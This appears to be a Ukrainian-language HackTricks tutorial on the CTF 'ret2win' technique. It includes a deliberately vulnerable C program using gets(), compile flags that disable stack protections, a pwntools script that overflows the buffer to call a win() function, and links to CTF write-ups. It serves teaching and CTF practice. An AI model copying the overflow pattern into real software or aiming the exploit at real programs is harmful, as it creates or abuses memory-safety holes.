9.3 KiB
Ret2win
{{#include ../../../banners/hacktricks-training.md}}
Basic Information
Ret2win завдання є популярною категорією в Capture The Flag (CTF) змаганнях, особливо в завданнях, що пов'язані з binary exploitation. Мета полягає в тому, щоб використати вразливість у даному бінарному файлі для виконання конкретної, не викликаної функції в бінарному файлі, яка часто називається чимось на кшталт win, flag тощо. Ця функція, коли її виконують, зазвичай виводить прапор або повідомлення про успіх. Завдання зазвичай передбачає перезаписування адреси повернення в стеку, щоб відвести потік виконання до бажаної функції. Ось більш детальне пояснення з прикладами:
C Example
Розглянемо просту програму на C з вразливістю та функцією win, яку ми маємо намір викликати:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
Щоб скомпілювати цю програму без захисту стеку та з вимкненим ASLR, ви можете використати наступну команду:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32: Скомпілювати програму як 32-бітний бінарний файл (це необов'язково, але поширено в CTF завданнях).-fno-stack-protector: Вимкнути захист від переповнень стеку.-z execstack: Дозволити виконання коду на стеку.-no-pie: Вимкнути Position Independent Executable, щоб адреса функціїwinне змінювалася.-o vulnerable: Назвати вихідний файлvulnerable.
Python Exploit using Pwntools
Для експлойту ми використаємо pwntools, потужний фреймворк CTF для написання експлойтів. Скрипт експлойту створить payload для переповнення буфера та перезапису адреси повернення адресою функції win.
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
Щоб знайти адресу функції win, ви можете використовувати gdb, objdump або будь-який інший інструмент, який дозволяє вам перевіряти бінарні файли. Наприклад, з objdump ви можете використовувати:
objdump -d vulnerable | grep win
Ця команда покаже вам асемблер функції win, включаючи її початкову адресу.
Python-скрипт надсилає ретельно підготовлене повідомлення, яке, оброблене функцією vulnerable_function, переповнює буфер і перезаписує адресу повернення в стеку адресою win. Коли vulnerable_function повертається, замість повернення до main або виходу, вона переходить до win, і повідомлення виводиться.
Захист
- PIE повинен бути вимкнений, щоб адреса була надійною між виконаннями, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб з'ясувати, де завантажена функція win. У деяких випадках, коли функція, що викликає переповнення, є
readабо подібною, ви можете зробити Часткове Перезаписування 1 або 2 байтів, щоб змінити адресу повернення на функцію win. Через те, як працює ASLR, останні три шістнадцяткові нібли не рандомізовані, тому є 1/16 шанс (1 нібль) отримати правильну адресу повернення. - Stack Canaries також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
Інші приклади та посилання
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32 біт, без ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- 64 біти з ASLR, з leak адреси бінарника
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64 біти, без ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32 біти, без ASLR, подвійне мале переповнення, спочатку переповнити стек і збільшити розмір другого переповнення
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 біт, relro, без канарки, nx, без pie, форматний рядок для перезапису адреси
fflushз функцією win (ret2win) - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32 біт, nx, нічого іншого, часткове перезаписування EIP (1 байт) для виклику функції win
- https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32 біт, nx, нічого іншого, часткове перезаписування EIP (1 байт) для виклику функції win
- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- Програма лише перевіряє останній байт числа, щоб перевірити розмір введення, тому можливо додати будь-який розмір, якщо останній байт знаходиться в дозволеному діапазоні. Тоді введення створює переповнення буфера, яке експлуатується за допомогою ret2win.
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64 біти, relro, без канарки, nx, pie. Часткове перезаписування для виклику функції win (ret2win)
- https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/
- arm64, PIE, він дає leak PIE, функція win насправді є 2 функціями, тому ROP гаджет, який викликає 2 функції
- https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/
- ARM64, off-by-one для виклику функції win
ARM64 Приклад
{{#ref}} ret2win-arm64.md {{#endref}}
{{#include ../../../banners/hacktricks-training.md}}